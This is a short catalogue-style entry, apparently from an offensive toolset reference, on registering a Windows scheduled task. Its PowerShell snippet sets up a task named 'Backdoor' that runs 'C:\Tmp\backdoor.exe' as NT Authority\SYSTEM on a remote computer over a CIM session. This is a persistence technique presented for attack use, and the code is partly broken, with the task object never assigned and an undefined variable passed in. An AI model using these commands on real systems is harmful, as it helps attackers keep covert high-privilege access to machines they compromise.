Registers a scheduled task definition on a local computer
Functions: | |
Type: | |
Toolsets: |
$a = New-ScheduledTaskAction -Execute "C:\Tmp\backdoor.exe" -Argument '-background'
$p = New-ScheduledTaskPrincipal -UserId "NT Authority\SYSTEM"
$ss = New-ScheduledTaskSettingsSet -MultipleInstances Parallel -AllowStartIfOnBatteries -Compatibility Win8
New-ScheduledTask -CimSession $s -Action $a -Principal $p -Settings $ss
$t = Register-ScheduledTask -CimSession $s Backdoor -InputObject $d
Usecase
$s
using New-CimSession
ScheduledTasks